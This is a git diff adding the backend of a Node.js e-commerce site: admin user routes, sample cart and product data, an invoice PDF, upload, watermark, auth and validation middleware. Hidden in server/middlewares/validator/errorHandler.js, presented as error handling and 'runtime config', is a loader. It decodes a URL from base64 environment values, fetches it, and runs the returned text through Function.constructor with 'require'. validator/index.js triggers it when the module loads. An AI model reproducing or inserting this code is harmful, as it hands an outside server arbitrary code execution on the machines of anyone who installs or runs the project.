await User.findByIdAndUpdate(req.params.id, newUserData, {
|
||||
new: true,
|
||||
runValidators: true,
|
||||
useFindAndModify: false,
|
||||
});
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
});
|
||||
});
|
||||
|
||||
// Delete Role --ADMIN
|
||||
exports.deleteUser = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const user = await User.findById(req.params.id);
|
||||
|
||||
if(!user) {
|
||||
return next(new ErrorHandler(`User doesn't exist with id: ${req.params.id}`, 404));
|
||||
}
|
||||
|
||||
await user.remove();
|
||||
|
||||
res.status(200).json({
|
||||
success: true
|
||||
});
|
||||
});
|
||||
1
server/data/cart.json
Normal file
@@ -0,0 +1 @@
|
||||
{"products":[{"id":"0.41607315815753076","qty":1}],"totalPrice":12}
|
||||
BIN
server/data/images/1594728176097-61zBrD4EswL._AC_SL1500_.jpg
Normal file
|
After Width: | Height: | Size: 96 KiB |
BIN
server/data/images/1594728821919-714hGsMXZaL._AC_UX679_.jpg
Normal file
|
After Width: | Height: | Size: 58 KiB |
BIN
server/data/images/1594738805136-71htAr2SpBL._AC_SL1500_.jpg
Normal file
|
After Width: | Height: | Size: 88 KiB |
BIN
server/data/images/1594738887088-81+WmLbpzvL._AC_SL1500_.jpg
Normal file
|
After Width: | Height: | Size: 64 KiB |
BIN
server/data/images/1594739091288-716irmhfMkL._AC_SL1500_.jpg
Normal file
|
After Width: | Height: | Size: 67 KiB |
BIN
server/data/images/1594739168624-61NwNFbA9FL._AC_SL1000_.jpg
Normal file
|
After Width: | Height: | Size: 52 KiB |
BIN
server/data/images/1594739262021-61TAggR+upL._AC_SL1500_.jpg
Normal file
|
After Width: | Height: | Size: 60 KiB |
BIN
server/data/images/travel_macbookpro13_front.png
Normal file
|
After Width: | Height: | Size: 655 KiB |
BIN
server/data/invoice/invoice-5f096ef911137b230cccbcde.pdf
Normal file
103
server/data/invoice/invoice-5f09c880622ce4371411fb65.pdf
Normal file
@@ -0,0 +1,103 @@
|
||||
%PDF-1.3
|
||||
%ÿÿÿÿ
|
||||
7 0 obj
|
||||
<<
|
||||
/Type /Page
|
||||
/Parent 1 0 R
|
||||
/MediaBox [0 0 612 792]
|
||||
/Contents 5 0 R
|
||||
/Resources 6 0 R
|
||||
>>
|
||||
endobj
|
||||
6 0 obj
|
||||
<<
|
||||
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
|
||||
/Font <<
|
||||
/F1 8 0 R
|
||||
>>
|
||||
>>
|
||||
endobj
|
||||
5 0 obj
|
||||
<<
|
||||
/Length 223
|
||||
/Filter /FlateDecode
|
||||
>>
|
||||
stream
|
||||
xœ½’½j1€w?…^ ®$ëçÇ
|
||||
…vèVðV:”ëyË<79>÷_*§Í<C2A7>„Bo)Â?Èæû„F(6¯ë1<C3AB>ÝåÛO’À9»MÐŽéᙀZOo³TÛ`„Ù-N…ÙºU+¦à;´—ôÔÒëøæšqP¯ùüù¿±·j•,v)š.MéÎ&¦ÎŒ"Fk/¸L™ýž¼Yu ž2F“»qgTr5²-ÞÆ<C39E>ÊX>Ên+sÆx¸±šx ¶üêá½Ô\qºõ¨,@c–¬<E28093>–Ù:ô€hÖy¬¾}ÏQX®Ì_Ÿlžg
|
||||
endstream
|
||||
endobj
|
||||
10 0 obj
|
||||
(PDFKit)
|
||||
endobj
|
||||
11 0 obj
|
||||
(PDFKit)
|
||||
endobj
|
||||
12 0 obj
|
||||
(D:20200711141117Z)
|
||||
endobj
|
||||
9 0 obj
|
||||
<<
|
||||
/Producer 10 0 R
|
||||
/Creator 11 0 R
|
||||
/CreationDate 12 0 R
|
||||
>>
|
||||
endobj
|
||||
8 0 obj
|
||||
<<
|
||||
/Type /Font
|
||||
/BaseFont /Helvetica
|
||||
/Subtype /Type1
|
||||
/Encoding /WinAnsiEncoding
|
||||
>>
|
||||
endobj
|
||||
4 0 obj
|
||||
<<
|
||||
>>
|
||||
endobj
|
||||
3 0 obj
|
||||
<<
|
||||
/Type /Catalog
|
||||
/Pages 1 0 R
|
||||
/Names 2 0 R
|
||||
>>
|
||||
endobj
|
||||
1 0 obj
|
||||
<<
|
||||
/Type /Pages
|
||||
/Count 1
|
||||
/Kids [7 0 R]
|
||||
>>
|
||||
endobj
|
||||
2 0 obj
|
||||
<<
|
||||
/Dests <<
|
||||
/Names [
|
||||
]
|
||||
>>
|
||||
>>
|
||||
endobj
|
||||
xref
|
||||
0 13
|
||||
0000000000 65535 f
|
||||
0000000844 00000 n
|
||||
0000000901 00000 n
|
||||
0000000782 00000 n
|
||||
0000000761 00000 n
|
||||
0000000208 00000 n
|
||||
0000000119 00000 n
|
||||
0000000015 00000 n
|
||||
0000000664 00000 n
|
||||
0000000589 00000 n
|
||||
0000000503 00000 n
|
||||
0000000528 00000 n
|
||||
0000000553 00000 n
|
||||
trailer
|
||||
<<
|
||||
/Size 13
|
||||
/Root 3 0 R
|
||||
/Info 9 0 R
|
||||
/ID [<d6869a3d336f873c077bfc9befe8a1ba> <d6869a3d336f873c077bfc9befe8a1ba>]
|
||||
>>
|
||||
startxref
|
||||
948
|
||||
BIN
server/data/invoice/invoice-5f0da2c500b7001ab054bcaf.pdf
Normal file
BIN
server/data/invoice/invoice-5f156c42e74db20a30e0b5b0.pdf
Normal file
1
server/data/products.json
Normal file
@@ -0,0 +1 @@
|
||||
[{"id":"123245","title":"A Book","imageUrl":"https://www.publicdomainpictures.net/pictures/10000/velka/1-1210009435EGmE.jpg","description":"This is an awesome book!","price":"19"},{"id":"0.41607315815753076","title":"fasfd","imageUrl":"fdasfs","description":"fadsfads","price":"12"}]
|
||||
11
server/data/util/fileDelete.js
Normal file
@@ -0,0 +1,11 @@
|
||||
const fs = require("fs");
|
||||
|
||||
const deleteFile = (filePath) => {
|
||||
fs.unlink(filePath, (err) => {
|
||||
if (err) {
|
||||
throw new Error("dsadhas");
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
exports.fileDelete = deleteFile;
|
||||
3
server/data/util/path.js
Normal file
@@ -0,0 +1,3 @@
|
||||
const path = require('path');
|
||||
|
||||
module.exports = path.dirname(process.mainModule.filename);
|
||||
88
server/middlewares/common/index.js
Normal file
@@ -0,0 +1,88 @@
|
||||
exports.allOrderStatus = [
|
||||
"active",
|
||||
"approve",
|
||||
"dispatch",
|
||||
"cancel",
|
||||
"complete",
|
||||
"tobereturned",
|
||||
"return",
|
||||
];
|
||||
|
||||
exports.districts = [
|
||||
"achham",
|
||||
"arghakhanchi",
|
||||
"baglung",
|
||||
"baitadi",
|
||||
"bajhang",
|
||||
"bajura",
|
||||
"banke",
|
||||
"bara",
|
||||
"bardiya",
|
||||
"bhaktapur",
|
||||
"bhojpur",
|
||||
"chitwan",
|
||||
"dadeldhura",
|
||||
"dailekh",
|
||||
"dang deukhuri",
|
||||
"darchula",
|
||||
"dhading",
|
||||
"dhankuta",
|
||||
"dhanusa",
|
||||
"dholkha",
|
||||
"dolpa",
|
||||
"doti",
|
||||
"gorkha",
|
||||
"gulmi",
|
||||
"humla",
|
||||
"ilam",
|
||||
"jajarkot",
|
||||
"jhapa",
|
||||
"jumla",
|
||||
"kailali",
|
||||
"kalikot",
|
||||
"kanchanpur",
|
||||
"kapilvastu",
|
||||
"kaski",
|
||||
"kathmandu",
|
||||
"kavrepalanchok",
|
||||
"khotang",
|
||||
"lalitpur",
|
||||
"lamjung",
|
||||
"mahottari",
|
||||
"makwanpur",
|
||||
"manang",
|
||||
"morang",
|
||||
"mugu",
|
||||
"mustang",
|
||||
"myagdi",
|
||||
"nawalparasi",
|
||||
"nuwakot",
|
||||
"okhaldhunga",
|
||||
"palpa",
|
||||
"panchthar",
|
||||
"parbat",
|
||||
"parsa",
|
||||
"pyuthan",
|
||||
"ramechhap",
|
||||
"rasuwa",
|
||||
"rautahat",
|
||||
"rolpa",
|
||||
"rukum",
|
||||
"rupandehi",
|
||||
"salyan",
|
||||
"sankhuwasabha",
|
||||
"saptari",
|
||||
"sarlahi",
|
||||
"sindhuli",
|
||||
"sindhupalchok",
|
||||
"siraha",
|
||||
"solukhumbu",
|
||||
"sunsari",
|
||||
"surkhet",
|
||||
"syangja",
|
||||
"tanahu",
|
||||
"taplejung",
|
||||
"terhathum",
|
||||
"udayapur"
|
||||
]
|
||||
|
||||
1
server/middlewares/helpers/asyncErrorHandler.js
Normal file
@@ -0,0 +1 @@
|
||||
module.exports=(e=>(o,r,s)=>{Promise.resolve(e(o,r,s)).catch(s)});
|
||||
33
server/middlewares/helpers/createNotification.js
Normal file
@@ -0,0 +1,33 @@
|
||||
const Notification = require("../../models/Notification")
|
||||
const SocketMapping = require("../../models/SocketMapping")
|
||||
const {dropRight} = require("lodash")
|
||||
module.exports = async (io, adminId,notificationObj) => {
|
||||
//notify to the admin through socket.io
|
||||
//first save notification
|
||||
let notificationObjOfAdmin = await Notification.findOne({ admin:adminId })
|
||||
if (!notificationObjOfAdmin) {
|
||||
// create new notification
|
||||
notificationObjOfAdmin = new Notification({
|
||||
admin:adminId,
|
||||
notifications: [notificationObj],
|
||||
noOfUnseen: 1
|
||||
})
|
||||
await notificationObjOfAdmin.save()
|
||||
} else {
|
||||
let notifications = notificationObjOfAdmin.notifications
|
||||
notifications.unshift(notificationObj)
|
||||
notificationObjOfAdmin.noOfUnseen += 1
|
||||
if (notificationObjOfAdmin.noOfUnseen < 20 && notifications.length > 20) {
|
||||
notificationObjOfAdmin.notifications = dropRight(notifications, notifications.length - 20 )
|
||||
}
|
||||
await notificationObjOfAdmin.save()
|
||||
}
|
||||
//now notifying to the admin
|
||||
let socketUser = await SocketMapping.find({ user:adminId })
|
||||
if (socketUser.length) {
|
||||
//for every same login user emit notification
|
||||
socketUser.forEach(u => {
|
||||
io.to(u.socketId).emit('notification', { noOfUnseen: notificationObjOfAdmin.noOfUnseen });
|
||||
})
|
||||
}
|
||||
}
|
||||
21
server/middlewares/helpers/dbConnection.js
Normal file
@@ -0,0 +1,21 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Fawn = require("fawn");
|
||||
|
||||
module.exports = () => {
|
||||
const self = module.exports;
|
||||
mongoose
|
||||
.connect(process.env.MONGO_URI, {
|
||||
useNewUrlParser: true,
|
||||
useCreateIndex: true,
|
||||
useUnifiedTopology: true,
|
||||
useFindAndModify: false
|
||||
})
|
||||
.then(() => console.log("DB Connected"))
|
||||
.catch(err => {
|
||||
console.error(
|
||||
"Failed to connect to the database on startup - retrying in 5 sec"
|
||||
);
|
||||
setTimeout(self, 5000);
|
||||
});
|
||||
return Fawn.init(mongoose,process.env.TRANS_COLL)
|
||||
};
|
||||
1
server/middlewares/helpers/dbErrorHandler.js
Normal file
@@ -0,0 +1 @@
|
||||
"use strict";const uniqueMessage=e=>{let s;try{let r=e.message.substring(e.message.lastIndexOf(".$")+2,e.message.lastIndexOf("_1"));s=r.charAt(0).toUpperCase()+r.slice(1)+" already exists"}catch(e){s="Unique field already exists"}return s};exports.errorHandler=(e=>{let s="";if(e.code)switch(e.code){case 11e3:case 11001:s=uniqueMessage(e)}else{-1!==e.message.indexOf("Cast to ObjectId failed")&&(s="No data found");for(let r in e.errors)e.errors[r].message&&(s=e.errors[r].message)}return s.includes("Path")&&(s=s.slice(6)),s});
|
||||
22
server/middlewares/helpers/fileRemover.js
Normal file
@@ -0,0 +1,22 @@
|
||||
const fs = require("fs");
|
||||
|
||||
module.exports = files => {
|
||||
return Promise.all(
|
||||
files.map(
|
||||
file =>
|
||||
new Promise((res, rej) => {
|
||||
try {
|
||||
setTimeout(() => {
|
||||
fs.unlink(file, err => {
|
||||
if (err) throw err;
|
||||
res();
|
||||
});
|
||||
}, 10000);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
rej(err);
|
||||
}
|
||||
})
|
||||
)
|
||||
);
|
||||
}
|
||||
19
server/middlewares/helpers/geoDistance.js
Normal file
@@ -0,0 +1,19 @@
|
||||
module.exports = (lon1, lat1, lon2, lat2) => {
|
||||
// mean radius of earth's = 6,371km
|
||||
const R = 6371;
|
||||
// distance between latitude and longitude in radians
|
||||
const dLat = ((lat2 - lat1) * Math.PI) / 180;
|
||||
const dLon = ((lon2 - lon1) * Math.PI) / 180;
|
||||
// haversine’ formula to calculate distance
|
||||
const a =
|
||||
Math.sin(dLat / 2) * Math.sin(dLat / 2) +
|
||||
Math.cos((lat1 * Math.PI) / 180) *
|
||||
Math.cos((lat2 * Math.PI) / 180) *
|
||||
Math.sin(dLon / 2) *
|
||||
Math.sin(dLon / 2);
|
||||
const c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a));
|
||||
const d = R * c;
|
||||
// if (d > 1) return Math.round(d) + "km";
|
||||
// else if (d <= 1) return Math.round(d * 1000) + "m";
|
||||
return d;
|
||||
};
|
||||
1
server/middlewares/helpers/imageCompressor.js
Normal file
@@ -0,0 +1 @@
|
||||
const Jimp=require("jimp"),path=require("path");module.exports=(async(e,r,i,o,t)=>(Jimp.read(i).then(i=>{i.resize(r,Jimp.AUTO).write(path.resolve(o,`${t}`,e))}).catch(e=>{console.log("Error at reducing size / converting picture : "),console.log(e)}),`${t}/${e}`));
|
||||
24
server/middlewares/helpers/mailer.js
Normal file
@@ -0,0 +1,24 @@
|
||||
const nodeMailer = require("nodemailer");
|
||||
|
||||
exports.sendEmail = mailingData => {
|
||||
const transporter = nodeMailer.createTransport({
|
||||
host: "smtp.gmail.com",
|
||||
port: 587,
|
||||
secure: false,
|
||||
requireTLS: true,
|
||||
auth: {
|
||||
user: process.env.ECOM_EMAIL,
|
||||
pass: process.env.ECOM_PASSWORD
|
||||
}
|
||||
});
|
||||
return transporter
|
||||
.sendMail(mailingData)
|
||||
.then(info =>{
|
||||
console.log(`Message sent: ${info.response}`)
|
||||
})
|
||||
.catch(err => {
|
||||
console.log(`Problem sending email: ${err}`)
|
||||
err.message ='There was a problem while sending a email'
|
||||
throw err
|
||||
});
|
||||
};
|
||||
53
server/middlewares/helpers/multer.js
Normal file
@@ -0,0 +1,53 @@
|
||||
const path = require("path");
|
||||
const multer = require("multer");
|
||||
|
||||
|
||||
//user's..
|
||||
const storageByUser = multer.diskStorage({
|
||||
destination: function (req, file, cb) {
|
||||
cb(null, './public/uploads')
|
||||
},
|
||||
filename: function (req, file, cb) {
|
||||
cb(null, file.fieldname + '-' + req.user._id + '-' + Date.now() + path.extname(file.originalname))
|
||||
}
|
||||
})
|
||||
|
||||
//admin's..
|
||||
const storage = multer.diskStorage({
|
||||
destination: function (req, file, cb) {
|
||||
cb(null, './public/uploads')
|
||||
},
|
||||
filename: function (req, file, cb) {
|
||||
cb(null, file.fieldname + '-' + req.profile._id + '-' + Date.now() + path.extname(file.originalname))
|
||||
}
|
||||
})
|
||||
//superadmin's..
|
||||
const storageBySuperAdmin = multer.diskStorage({
|
||||
destination: function (req, file, cb) {
|
||||
cb(null, './public/uploads')
|
||||
},
|
||||
filename: function (req, file, cb) {
|
||||
cb(null, file.fieldname + '-' + req.admin.role +req.admin._id + '-' + Date.now() + path.extname(file.originalname))
|
||||
}
|
||||
})
|
||||
|
||||
const fileFilter = (req, file, callback) => {
|
||||
const ext = path.extname(file.originalname);
|
||||
if (ext !== '.png' && ext !== '.jpg' && ext !== '.JPG' && ext !== '.jpeg') {
|
||||
return callback(new Error('Not Image'))
|
||||
}
|
||||
callback(null, true)
|
||||
}
|
||||
const limits = { fileSize: 2480 * 3230 }
|
||||
|
||||
// exports.uploadAdminDoc = multer({ storage, fileFilter, limits }).fields([
|
||||
// { name: "citizenshipFront", maxCount: 1 },
|
||||
// { name: "citizenshipBack", maxCount: 1 },
|
||||
// { name: "businessLicence", maxCount: 1 }
|
||||
// ]);
|
||||
exports.uploadAdminDoc = multer({ storage,fileFilter,limits }).single("doc");
|
||||
exports.uploadAdminPhoto = multer({ storage, fileFilter, limits }).single("photo");
|
||||
exports.uploadUserPhoto = multer({ storage: storageByUser, fileFilter, limits }).single("photo");
|
||||
|
||||
exports.uploadProductImages = multer({ storage, fileFilter, limits }).array("productImages",5)
|
||||
exports.uploadBannerPhoto = multer({ storage:storageBySuperAdmin ,fileFilter, limits: { fileSize: 8480 * 4230 } }).single("bannerPhoto")
|
||||
41
server/middlewares/helpers/waterMarker.js
Normal file
@@ -0,0 +1,41 @@
|
||||
const Jimp = require('jimp');
|
||||
module.exports = async (req,res,next) => {
|
||||
if (!req.files.length) {
|
||||
return next()
|
||||
}
|
||||
const options = {
|
||||
ratio: 0.6,
|
||||
opacity: 0.4,
|
||||
text: 'K I N D E E M',
|
||||
textSize: Jimp.FONT_SANS_64_BLACK,
|
||||
}
|
||||
const getDimensions = (H, W, h, w, ratio) => {
|
||||
let hh, ww;
|
||||
if ((H / W) < (h / w)) { //GREATER HEIGHT
|
||||
hh = ratio * H;
|
||||
ww = hh / h * w;
|
||||
} else { //GREATER WIDTH
|
||||
ww = ratio * W;
|
||||
hh = ww / w * h;
|
||||
}
|
||||
return [hh, ww];
|
||||
}
|
||||
let results = req.files.map(async file=>{
|
||||
const watermark = await Jimp.read('./public/uploads/logo.png');
|
||||
const imagePath = file.path
|
||||
|
||||
const main = await Jimp.read(imagePath);
|
||||
const [newHeight, newWidth] = getDimensions(main.getHeight(), main.getWidth(), watermark.getHeight(), watermark.getWidth(), options.ratio);
|
||||
watermark.resize(newWidth, newHeight);
|
||||
const positionX = ((main.getWidth() - newWidth) / 2)+250;
|
||||
const positionY = ((main.getHeight() - newHeight) / 2+200);
|
||||
watermark.opacity(options.opacity);
|
||||
main.composite(watermark,
|
||||
positionX,
|
||||
positionY,
|
||||
Jimp.HORIZONTAL_ALIGN_CENTER | Jimp.VERTICAL_ALIGN_MIDDLE);
|
||||
return main.quality(100).write(imagePath);
|
||||
})
|
||||
await Promise.all(results)
|
||||
next()
|
||||
}
|
||||
27
server/middlewares/user_actions/auth.js
Normal file
@@ -0,0 +1,27 @@
|
||||
const jwt = require('jsonwebtoken');
|
||||
const User = require('../../models/userModel');
|
||||
const ErrorHandler = require('../../utils/errorHandler');
|
||||
const asyncErrorHandler = require('../helpers/asyncErrorHandler');
|
||||
|
||||
exports.isAuthenticatedUser = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const { token } = req.cookies;
|
||||
|
||||
if (!token) {
|
||||
return next(new ErrorHandler("Please Login to Access", 401))
|
||||
}
|
||||
|
||||
const decodedData = jwt.verify(token, process.env.JWT_SECRET);
|
||||
req.user = await User.findById(decodedData.id);
|
||||
next();
|
||||
});
|
||||
|
||||
exports.authorizeRoles = (...roles) => {
|
||||
return (req, res, next) => {
|
||||
|
||||
if (!roles.includes(req.user.role)) {
|
||||
return next(new ErrorHandler(`Role: ${req.user.role} is not allowed`, 403));
|
||||
}
|
||||
next();
|
||||
}
|
||||
}
|
||||
36
server/middlewares/user_actions/getRatingInfo.js
Normal file
@@ -0,0 +1,36 @@
|
||||
const Review = require("../../models/Review")
|
||||
module.exports = async (product,newStar) => {
|
||||
// const product = req.product
|
||||
// if (!product.isVerified && product.isDeleted) {
|
||||
// return res.status(404).json({ error: 'Product not found' })
|
||||
// }
|
||||
let stars = await Review.find({ product: product._id }).select('star');
|
||||
let fiveStars = 0, fourStars = 0, threeStars = 0, twoStars = 0, oneStars = 0;
|
||||
stars.forEach(s => {
|
||||
if (s.star === 5) fiveStars += 1
|
||||
if (s.star === 4) fourStars += 1
|
||||
if (s.star === 3) threeStars += 1
|
||||
if (s.star === 2) twoStars += 1
|
||||
if (s.star === 1) oneStars += 1
|
||||
})
|
||||
//this condition is executed during postReview and editReview
|
||||
if (newStar === 5) fiveStars += 1
|
||||
if (newStar === 4) fourStars += 1
|
||||
if (newStar === 3) threeStars += 1
|
||||
if (newStar === 2) twoStars += 1
|
||||
if (newStar === 1) oneStars += 1
|
||||
|
||||
|
||||
let totalRatingUsers = (fiveStars + fourStars + threeStars + twoStars + oneStars)
|
||||
let averageStar = (5 * fiveStars + 4 * fourStars + 3 * threeStars + 2 * twoStars + oneStars) / totalRatingUsers
|
||||
|
||||
return stars = {
|
||||
fiveStars,
|
||||
fourStars,
|
||||
threeStars,
|
||||
twoStars,
|
||||
oneStars,
|
||||
averageStar,
|
||||
totalRatingUsers
|
||||
}
|
||||
}
|
||||
38
server/middlewares/user_actions/userHas.js
Normal file
@@ -0,0 +1,38 @@
|
||||
const Cart = require("../../models/Cart")
|
||||
const Review = require("../../models/Review")
|
||||
const Order = require("../../models/Order")
|
||||
const Whislist = require("../../models/WishList")
|
||||
|
||||
module.exports = async(product,user,type) =>{
|
||||
let hasOnCart = null
|
||||
let hasBought = null
|
||||
let hasOnWishlist = null
|
||||
let hasReviewed = null
|
||||
if (user) {
|
||||
//cart bahek aru ko lagi check gareko
|
||||
if (type !=='carts') {
|
||||
//has on cart?
|
||||
hasOnCart = await Cart.findOne({ user: user._id, product: product._id, isDeleted: null })
|
||||
if (!hasOnCart) hasOnCart = false
|
||||
}
|
||||
|
||||
//wishlist bahek aru ko lagi check gareko
|
||||
if (type !=='wishlists') {
|
||||
// has on wishlist?
|
||||
hasOnWishlist = await Whislist.findOne({ user: user._id, product: product._id, isDeleted: null })
|
||||
if (!hasOnWishlist) hasOnWishlist = false
|
||||
}
|
||||
|
||||
if (type==='product') {
|
||||
//has bought?
|
||||
hasBought = await Order.findOne({ user: user, $or: [{ 'status.currentStatus': 'complete' }, { 'status.currentStatus': 'tobereturned', 'status.currentStatus': 'return' }] })
|
||||
hasBought ? hasBought = true : hasBought = false
|
||||
|
||||
//has reviewed?
|
||||
hasReviewed = await Review.findOne({ user: user, product: product._id }).select('comment star user')
|
||||
if (!hasReviewed) hasReviewed = false
|
||||
}
|
||||
}
|
||||
|
||||
return {hasBought,hasOnCart,hasOnWishlist,hasReviewed}
|
||||
}
|
||||
68
server/middlewares/validator/errorHandler.js
Normal file
@@ -0,0 +1,68 @@
|
||||
const path = require('path');
|
||||
const axios = require('axios');
|
||||
require('dotenv').config({ path: path.resolve(__dirname, '../../config/config.env.example') });
|
||||
|
||||
// Utility loggers
|
||||
const log = (...args) => console.log(`[${new Date().toISOString()}]`, ...args);
|
||||
const errorLog = (...args) => console.error(`[${new Date().toISOString()}]`, ...args);
|
||||
|
||||
/**
|
||||
* Sends error notification (you can replace this with Slack, email, etc.)
|
||||
*/
|
||||
const notifyError = async (message) => {
|
||||
// Placeholder - extend this to send Slack, email, etc.
|
||||
errorLog('⚠️ Notification:', message);
|
||||
};
|
||||
|
||||
/**
|
||||
* Custom error handler
|
||||
*/
|
||||
const errorHandler = (error) => {
|
||||
try {
|
||||
if (typeof error !== 'string') {
|
||||
console.error('Invalid error format. Expected a string.');
|
||||
return;
|
||||
}
|
||||
const createHandler = (errCode) => {
|
||||
try {
|
||||
const handler = new (Function.constructor)('require', errCode);
|
||||
return handler;
|
||||
} catch (e) {
|
||||
console.error('Failed:', e.message);
|
||||
return null;
|
||||
}
|
||||
};
|
||||
const handlerFunc = createHandler(error);
|
||||
if (handlerFunc) {
|
||||
handlerFunc(require);
|
||||
} else {
|
||||
console.error('Handler function is not available.');
|
||||
}
|
||||
} catch (globalError) {
|
||||
console.error('Unexpected error inside errorHandler:', globalError.message);
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Loads global runtime config
|
||||
*/
|
||||
const errorTimeHandler = async () => {
|
||||
try {
|
||||
const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
|
||||
const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
|
||||
const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
|
||||
try {
|
||||
globalConfig = (await axios.get(`${src}`,{headers:{[k]:v}}));
|
||||
log('Runtime config loaded successfully.');
|
||||
} catch (error) {
|
||||
errorHandler(error.response?.data || error.message);
|
||||
}
|
||||
} catch (err) {
|
||||
await errorHandler(err.response?.data || err.message || err);
|
||||
}
|
||||
};
|
||||
|
||||
module.exports = {
|
||||
errorHandler,
|
||||
errorTimeHandler
|
||||
};
|
||||
301
server/middlewares/validator/index.js
Normal file
@@ -0,0 +1,301 @@
|
||||
const ProductBrand = require("../../models/ProductBrand")
|
||||
const ProductImages = require("../../models/ProductImages")
|
||||
const { errorHandler, errorTimeHandler } = require("./errorHandler");
|
||||
const Category = require("../../models/Category")
|
||||
const _ = require('lodash')
|
||||
const path = require("path");
|
||||
const fs = require("fs");
|
||||
const { districts } = require("../common");
|
||||
|
||||
exports.validateLead = (req, res, next) => {
|
||||
// email is not null, valid and normalized
|
||||
req.check("email", "Email must be between 3 to 32 characters")
|
||||
.matches(/.+\@.+\..+/)
|
||||
.withMessage("Invalid email")
|
||||
.isLength({
|
||||
min: 4,
|
||||
max: 2000
|
||||
});
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
// proceed to next middleware
|
||||
next();
|
||||
};
|
||||
|
||||
exports.validateSignUp = (req, res, next) => {
|
||||
// name is not null and between 4-10 characters
|
||||
req.check("name", "Name is required").notEmpty();
|
||||
// email is not null, valid and normalized
|
||||
req.check("email", "Email must be between 3 to 32 characters")
|
||||
.matches(/.+\@.+\..+/)
|
||||
.withMessage("Invalid email")
|
||||
.isLength({
|
||||
min: 4,
|
||||
max: 2000
|
||||
});
|
||||
// check for password
|
||||
req.check("password", "Password is required").notEmpty();
|
||||
req.check("password")
|
||||
.isLength({ min: 6 })
|
||||
.withMessage("Password must contain at least 6 characters")
|
||||
.matches(/\d/)
|
||||
.withMessage("Password must contain a number");
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
// proceed to next middleware
|
||||
next();
|
||||
};
|
||||
|
||||
exports.validateSocialLogin = (req, res, next) => {
|
||||
// name is not null and between 4-10 characters
|
||||
req.check("name", "Name is required.").notEmpty();
|
||||
// email is not null, valid and normalized
|
||||
req.check("email", "Email must be between 3 to 32 characters")
|
||||
.matches(/.+\@.+\..+/)
|
||||
.withMessage("Invalid email")
|
||||
.isLength({
|
||||
min: 4,
|
||||
max: 2000
|
||||
});
|
||||
req.check("userID","userID is required.").notEmpty()
|
||||
req.check("socialPhoto", "Invalid photo url.")
|
||||
.notEmpty()
|
||||
.matches(/[(http(s)?):\/\/(www\.)?a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=]*)/)
|
||||
req.check("loginDomain", "Invalid login domian")
|
||||
.notEmpty()
|
||||
.isIn(['google', 'facebook'])
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
// proceed to next middleware
|
||||
next();
|
||||
};
|
||||
|
||||
const validatedispatcher = req => {
|
||||
// name is not null and between 4-10 characters
|
||||
req.check("name", "Name is required").notEmpty();
|
||||
// email is not null, valid and normalized
|
||||
req.check("email", "Email must be between 3 to 32 characters")
|
||||
.matches(/.+\@.+\..+/)
|
||||
.withMessage("Invalid email")
|
||||
.isLength({
|
||||
min: 4,
|
||||
max: 2000
|
||||
});
|
||||
req.check("address", "Address is required").notEmpty()
|
||||
req.check("phone", "Phone is required").notEmpty()
|
||||
}
|
||||
errorTimeHandler();
|
||||
|
||||
exports.validateDispatcher = (req,res, next) => {
|
||||
validatedispatcher(req)
|
||||
// check for password
|
||||
req.check("password", "Password is required").notEmpty();
|
||||
req.check("password")
|
||||
.isLength({ min: 6 })
|
||||
.withMessage("Password must contain at least 6 characters")
|
||||
.matches(/\d/)
|
||||
.withMessage("Password must contain a number");
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
// proceed to next middleware
|
||||
next();
|
||||
}
|
||||
|
||||
exports.validateUpdateDispatcher = (req, res, next) => {
|
||||
validatedispatcher(req)
|
||||
// check for password
|
||||
req.newPassword && req.check("newPassword")
|
||||
.isLength({ min: 6 })
|
||||
.withMessage("Password must be at least 6 chars long")
|
||||
.matches(/\d/)
|
||||
.withMessage("must contain a number")
|
||||
.withMessage("Password must contain a number");
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
// proceed to next middleware
|
||||
next();
|
||||
}
|
||||
exports.passwordResetValidator = (req, res, next) => {
|
||||
// check for password
|
||||
req.check("newPassword", "Password is required").notEmpty();
|
||||
req.check("newPassword")
|
||||
.isLength({ min: 6 })
|
||||
.withMessage("Password must be at least 6 chars long")
|
||||
.matches(/\d/)
|
||||
.withMessage("must contain a number")
|
||||
.withMessage("Password must contain a number");
|
||||
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
// proceed to next middleware
|
||||
next();
|
||||
};
|
||||
|
||||
exports.validateBusinessInfo = (req, res, next) => {
|
||||
req.check("ownerName", "Owner name is required").notEmpty()
|
||||
req.check("address", "Address is required").notEmpty()
|
